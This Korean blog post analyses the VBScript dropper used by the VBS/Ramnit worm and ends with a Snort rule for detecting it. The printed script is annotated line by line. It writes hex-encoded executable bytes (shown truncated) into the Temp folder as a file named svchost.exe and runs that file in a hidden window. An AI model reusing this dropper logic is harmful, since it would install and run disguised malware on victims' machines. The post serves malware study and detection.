KOROMOON

착한 사마리아인이 되고 싶습니다.

9/16/2018

VBS/Ramnit Worm 에 쓰인 VBScript 코드


( 1 ) 설명


VBS/Ramnit Worm 에 쓰인 VBScript 코드로 실행시킬 파일의 엄청 긴 바이너리 코드를 가지고 파일을 지정해서 만든 후 덮어씌워서 실행시키는 코드임.
해당 코드를 응용해서 모의해킹을 연구해보면 좋을 듯 함.
단지 악의적으로 사용하지 마세요~! ^^
아래는 코드를 분석함.

<SCRIPT Language=VBScript><!--


' 실행시킬 파일 이름 지정

DropFileName = "svchost.exe"
' 실행 파일의 바이너리 코드 (엄청 김 ㅠㅠ)
WriteData = "4D5A ... 0000"

Set FSO = CreateObject("Scripting.FileSystemObject")

' GetSpecialFolder 메소드는 지정된 특정 폴더 오브젝트를 돌려줌.
' GetSpecialFolder(2)에서 인수 2는 Temp 폴더를 지정함.
DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileName

' Temp 폴더에 svchost.exe 파일이 존재하지 않을 시

If FSO.FileExists(DropPath)=False Then
    ' CreateTextFile 메소드는 파일을 읽거나 쓸 수 있는 텍스트 스트림 형식의 파일을 만듬.
    ' Temp 폴더에 svchost.exe 파일을 만든 후 덮어쓸 수 있도록 설정함.
    Set FileObj = FSO.CreateTextFile(DropPath, True)

    ' WriteData 변수에 지정된 실행 파일의 바이너리 코드를 2 글자씩

    ' Temp 폴더의 svchost.exe 파일에 덮어씌움.
    For i = 1 To Len(WriteData) Step 2
        ' Mid 함수는 문자열에서 지정된 문자 수를 반환함.
        ' CLng 함수는 Long 형식의 Variant 로 변환함.
        ' 여기서 &H 기능을 사용하여 16 진수 값으로 변환시킴.
        FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2)))
    Next

    FileObj.Close

End If

Set WSHshell = CreateObject("WScript.Shell")

' Run 메소드는 프로세스를 실행시킴.
' Temp 폴더의 svchost.exe 파일에 바이너리 코드를 다 덮어씌운 후 실행시킴.
' intWindowStyle 의 인수값 0은 창을 숨기면서 실행시키는 옵션임.
WSHshell.Run DropPath, 0

//--></SCRIPT>




( 2 ) 공격 탐지 방법


VBScript 코드에 실행 파일의 바이너리 특정 부분 문자열을 탐지함.

alert tcp any 80 -> any any (msg:"KOROMOON_VBScript_PE_Injection"; content:"\"4D5A80000100000004001000FFFF";)



============================================================

본 게시물은 KOROMOON 님께서 작성하였으며 CCL (Creative Commons License) 에서 "저작자표시-비영리-동일조건변경허락" 이용조건으로 자료를 이용하셔야 합니다.

댓글 없음:

댓글 쓰기